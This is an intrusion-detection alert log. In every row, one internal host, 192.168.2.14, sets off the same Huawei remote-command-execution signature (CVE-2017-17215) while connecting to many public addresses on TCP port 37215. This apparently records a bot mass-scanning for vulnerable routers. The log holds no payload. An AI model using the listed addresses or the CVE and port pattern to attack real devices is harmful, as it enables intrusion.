2024-09-25T14:14:35.858889+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49108	197.234.26.181	37215	TCP
2024-09-25T14:14:35.858919+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35072	41.126.4.16	37215	TCP
2024-09-25T14:14:35.858927+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53986	156.160.181.179	37215	TCP
2024-09-25T14:14:35.858927+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37306	41.156.21.254	37215	TCP
2024-09-25T14:14:35.858948+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56572	197.13.50.174	37215	TCP
2024-09-25T14:14:35.859178+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58922	197.137.27.83	37215	TCP
2024-09-25T14:14:35.859360+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45026	197.102.171.153	37215	TCP
2024-09-25T14:14:35.859360+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41122	156.36.170.113	37215	TCP
2024-09-25T14:14:35.909135+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37370	156.228.108.249	37215	TCP
2024-09-25T14:14:35.926617+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38346	156.62.166.162	37215	TCP
2024-09-25T14:14:35.926617+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42698	197.145.61.147	37215	TCP
2024-09-25T14:14:35.931266+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60004	156.114.186.147	37215	TCP
2024-09-25T14:14:35.955740+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60372	197.228.202.221	37215	TCP
2024-09-25T14:14:35.985221+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41814	156.136.211.71	37215	TCP
2024-09-25T14:14:35.986145+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53688	41.30.40.26	37215	TCP
2024-09-25T14:14:35.987347+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57388	156.242.48.41	37215	TCP
2024-09-25T14:14:35.987694+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35636	41.56.131.61	37215	TCP
2024-09-25T14:14:36.018048+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51138	156.82.105.217	37215	TCP
2024-09-25T14:14:36.019723+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59618	156.163.166.235	37215	TCP
2024-09-25T14:14:36.021928+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42708	156.51.49.93	37215	TCP
2024-09-25T14:14:36.047810+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40640	197.213.126.196	37215	TCP
2024-09-25T14:14:36.047892+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48476	41.40.105.169	37215	TCP
2024-09-25T14:14:36.065136+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59212	41.106.169.205	37215	TCP
2024-09-25T14:14:36.080449+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36070	41.183.91.205	37215	TCP
2024-09-25T14:14:36.131474+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45510	197.194.118.20	37215	TCP
2024-09-25T14:14:36.132872+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58996	156.15.110.52	37215	TCP
2024-09-25T14:14:36.204237+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43648	41.149.228.31	37215	TCP
2024-09-25T14:14:36.234862+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33306	156.218.30.28	37215	TCP
2024-09-25T14:14:36.235371+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39760	197.15.39.142	37215	TCP
2024-09-25T14:14:36.235459+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56092	197.22.82.105	37215	TCP
2024-09-25T14:14:36.906725+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57664	156.128.52.57	37215	TCP
2024-09-25T14:14:36.906806+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40998	41.94.82.29	37215	TCP
2024-09-25T14:14:36.906884+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35854	197.72.52.161	37215	TCP
2024-09-25T14:14:36.907032+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40252	41.113.76.132	37215	TCP
2024-09-25T14:14:36.907238+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54898	156.202.243.110	37215	TCP
2024-09-25T14:14:36.907406+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49610	197.45.117.209	37215	TCP
2024-09-25T14:14:36.907409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40430	41.57.178.82	37215	TCP
2024-09-25T14:14:36.907581+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56138	156.183.76.141	37215	TCP
2024-09-25T14:14:36.907613+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41280	197.228.42.166	37215	TCP
2024-09-25T14:14:36.908938+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52180	41.218.113.176	37215	TCP
2024-09-25T14:14:36.909060+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50886	41.203.135.99	37215	TCP
2024-09-25T14:14:36.923039+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53806	41.39.208.35	37215	TCP
2024-09-25T14:14:36.923089+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60486	197.126.2.56	37215	TCP
2024-09-25T14:14:36.923531+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50606	41.59.164.197	37215	TCP
2024-09-25T14:14:36.924678+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44252	197.75.103.164	37215	TCP
2024-09-25T14:14:36.924758+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37148	156.116.96.173	37215	TCP
2024-09-25T14:14:36.924817+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60642	41.114.142.228	37215	TCP
2024-09-25T14:14:36.927079+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55604	156.59.45.78	37215	TCP
2024-09-25T14:14:36.927346+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40818	41.118.251.13	37215	TCP
2024-09-25T14:14:36.927448+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40384	156.137.34.27	37215	TCP
2024-09-25T14:14:36.927449+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49290	156.201.222.189	37215	TCP
2024-09-25T14:14:36.927530+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37782	41.126.108.91	37215	TCP
2024-09-25T14:14:36.928800+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34400	41.204.4.154	37215	TCP
2024-09-25T14:14:36.929009+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53598	41.234.48.19	37215	TCP
2024-09-25T14:14:37.032151+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43546	41.145.42.186	37215	TCP
2024-09-25T14:14:37.266319+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54706	41.104.10.243	37215	TCP
2024-09-25T14:14:37.266783+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42572	156.234.28.147	37215	TCP
2024-09-25T14:14:37.268507+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51466	41.231.142.148	37215	TCP
2024-09-25T14:14:37.270472+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51548	197.189.82.238	37215	TCP
2024-09-25T14:14:37.270642+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60230	156.203.125.93	37215	TCP
2024-09-25T14:14:37.287914+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58828	41.195.216.193	37215	TCP
2024-09-25T14:14:37.953610+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34324	41.146.12.74	37215	TCP
2024-09-25T14:14:37.958180+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38636	197.19.250.225	37215	TCP
2024-09-25T14:14:38.188602+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51748	197.156.215.213	37215	TCP
2024-09-25T14:14:38.204479+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35702	197.216.45.82	37215	TCP
2024-09-25T14:14:38.204565+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39386	41.138.22.129	37215	TCP
2024-09-25T14:14:38.204718+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54918	156.207.45.124	37215	TCP
2024-09-25T14:14:38.204946+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60702	41.202.147.229	37215	TCP
2024-09-25T14:14:38.219990+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52886	156.105.68.78	37215	TCP
2024-09-25T14:14:38.220038+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41858	156.87.246.107	37215	TCP
2024-09-25T14:14:38.220278+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35810	197.84.75.37	37215	TCP
2024-09-25T14:14:38.220292+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50920	41.0.66.167	37215	TCP
2024-09-25T14:14:38.220487+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36726	41.145.50.243	37215	TCP
2024-09-25T14:14:38.220658+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59828	197.211.167.22	37215	TCP
2024-09-25T14:14:38.221509+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56184	156.70.247.176	37215	TCP
2024-09-25T14:14:38.221573+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34628	156.206.182.162	37215	TCP
2024-09-25T14:14:38.221991+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32974	41.225.63.239	37215	TCP
2024-09-25T14:14:38.222196+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38410	41.82.80.33	37215	TCP
2024-09-25T14:14:38.224033+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57802	197.236.232.139	37215	TCP
2024-09-25T14:14:38.224034+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39192	41.151.31.9	37215	TCP
2024-09-25T14:14:38.225765+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38202	41.251.86.183	37215	TCP
2024-09-25T14:14:38.422420+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45954	156.234.214.18	37215	TCP
2024-09-25T14:14:38.422508+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34998	41.22.143.134	37215	TCP
2024-09-25T14:14:38.422763+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46666	156.237.235.153	37215	TCP
2024-09-25T14:14:38.423691+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51564	197.37.51.50	37215	TCP
2024-09-25T14:14:38.424676+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51490	41.94.152.146	37215	TCP
2024-09-25T14:14:38.438715+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40264	41.93.111.228	37215	TCP
2024-09-25T14:14:38.440059+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56738	41.93.99.103	37215	TCP
2024-09-25T14:14:38.470696+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36600	41.141.238.167	37215	TCP
2024-09-25T14:14:38.474038+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46954	156.205.204.61	37215	TCP
2024-09-25T14:14:38.953945+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39556	156.156.122.8	37215	TCP
2024-09-25T14:14:38.954066+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42290	156.184.222.237	37215	TCP
2024-09-25T14:14:38.954096+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38458	197.2.184.228	37215	TCP
2024-09-25T14:14:38.954184+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38240	41.163.125.164	37215	TCP
2024-09-25T14:14:38.954242+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39212	156.156.136.242	37215	TCP
2024-09-25T14:14:38.954505+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55806	197.177.63.21	37215	TCP
2024-09-25T14:14:38.954529+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54734	156.26.49.169	37215	TCP
2024-09-25T14:14:38.954529+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41592	197.96.2.106	37215	TCP
2024-09-25T14:14:38.954611+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55780	197.57.233.63	37215	TCP
2024-09-25T14:14:38.954985+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35744	41.141.77.117	37215	TCP
2024-09-25T14:14:38.956184+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60204	197.216.95.131	37215	TCP
2024-09-25T14:14:38.971619+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54954	156.180.191.247	37215	TCP
2024-09-25T14:14:38.973540+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41182	197.23.243.19	37215	TCP
2024-09-25T14:14:38.973753+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35936	197.252.1.92	37215	TCP
2024-09-25T14:14:38.985313+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49578	41.96.40.29	37215	TCP
2024-09-25T14:14:38.987628+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34016	41.162.5.27	37215	TCP
2024-09-25T14:14:38.989252+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37344	41.168.18.102	37215	TCP
2024-09-25T14:14:39.017227+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50906	41.237.121.233	37215	TCP
2024-09-25T14:14:39.036421+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53774	197.209.241.221	37215	TCP
2024-09-25T14:14:39.438736+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48698	156.5.24.206	37215	TCP
2024-09-25T14:14:39.439319+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42374	41.104.29.87	37215	TCP
2024-09-25T14:14:39.442979+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35428	41.163.10.152	37215	TCP
2024-09-25T14:14:39.459833+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38982	156.175.50.147	37215	TCP
2024-09-25T14:14:39.469901+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41946	197.29.42.45	37215	TCP
2024-09-25T14:14:39.471568+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48804	41.206.92.108	37215	TCP
2024-09-25T14:14:39.473504+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57886	156.77.57.155	37215	TCP
2024-09-25T14:14:39.473589+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48192	41.133.229.37	37215	TCP
2024-09-25T14:14:39.473757+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56162	41.177.243.71	37215	TCP
2024-09-25T14:14:39.473890+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39208	41.7.151.239	37215	TCP
2024-09-25T14:14:39.504914+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46944	41.228.32.202	37215	TCP
2024-09-25T14:14:39.505069+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32938	41.49.19.95	37215	TCP
2024-09-25T14:14:39.986378+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37670	197.233.237.119	37215	TCP
2024-09-25T14:14:39.986429+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44440	197.172.74.68	37215	TCP
2024-09-25T14:14:39.986453+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41248	41.213.67.82	37215	TCP
2024-09-25T14:14:39.986874+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56934	197.173.203.0	37215	TCP
2024-09-25T14:14:39.986974+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49754	41.204.244.44	37215	TCP
2024-09-25T14:14:39.989105+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38436	41.153.113.211	37215	TCP
2024-09-25T14:14:40.001896+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42992	156.158.134.204	37215	TCP
2024-09-25T14:14:40.004982+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35986	156.51.177.129	37215	TCP
2024-09-25T14:14:40.032503+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60260	156.41.207.215	37215	TCP
2024-09-25T14:14:40.048069+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51808	197.60.204.26	37215	TCP
2024-09-25T14:14:40.051857+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52560	197.15.12.0	37215	TCP
2024-09-25T14:14:41.001099+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55116	41.116.201.16	37215	TCP
2024-09-25T14:14:41.001983+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46112	197.137.61.66	37215	TCP
2024-09-25T14:14:41.001983+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43716	156.58.216.35	37215	TCP
2024-09-25T14:14:41.002007+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58732	197.39.150.174	37215	TCP
2024-09-25T14:14:41.003098+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54828	41.71.47.143	37215	TCP
2024-09-25T14:14:41.004823+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48890	197.13.34.105	37215	TCP
2024-09-25T14:14:41.018887+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32846	156.197.220.184	37215	TCP
2024-09-25T14:14:41.032571+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57532	156.79.121.29	37215	TCP
2024-09-25T14:14:41.032744+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39394	197.165.164.248	37215	TCP
2024-09-25T14:14:41.034446+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60344	41.12.75.142	37215	TCP
2024-09-25T14:14:41.034594+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40030	197.213.197.91	37215	TCP
2024-09-25T14:14:41.036698+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36690	156.150.52.76	37215	TCP
2024-09-25T14:14:41.037795+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57672	41.189.63.143	37215	TCP
2024-09-25T14:14:41.047823+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43314	197.239.142.210	37215	TCP
2024-09-25T14:14:41.083293+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58694	156.13.62.231	37215	TCP
2024-09-25T14:14:42.032437+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35202	156.109.98.95	37215	TCP
2024-09-25T14:14:42.032598+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39080	41.64.17.0	37215	TCP
2024-09-25T14:14:42.032685+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50922	41.155.154.161	37215	TCP
2024-09-25T14:14:42.032872+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52562	156.67.122.86	37215	TCP
2024-09-25T14:14:42.033252+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38500	156.15.122.126	37215	TCP
2024-09-25T14:14:42.033319+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54688	197.190.148.163	37215	TCP
2024-09-25T14:14:42.034293+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53486	41.6.71.108	37215	TCP
2024-09-25T14:14:42.034472+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38504	156.241.212.158	37215	TCP
2024-09-25T14:14:42.034536+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45652	197.11.206.26	37215	TCP
2024-09-25T14:14:42.034645+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43224	197.225.126.86	37215	TCP
2024-09-25T14:14:42.036391+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49308	156.95.71.36	37215	TCP
2024-09-25T14:14:42.051976+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37812	41.33.96.88	37215	TCP
2024-09-25T14:14:42.052074+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45068	156.127.3.148	37215	TCP
2024-09-25T14:14:42.053657+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39126	197.92.172.196	37215	TCP
2024-09-25T14:14:42.063630+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58874	41.97.75.125	37215	TCP
2024-09-25T14:14:42.097165+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38062	197.154.112.146	37215	TCP
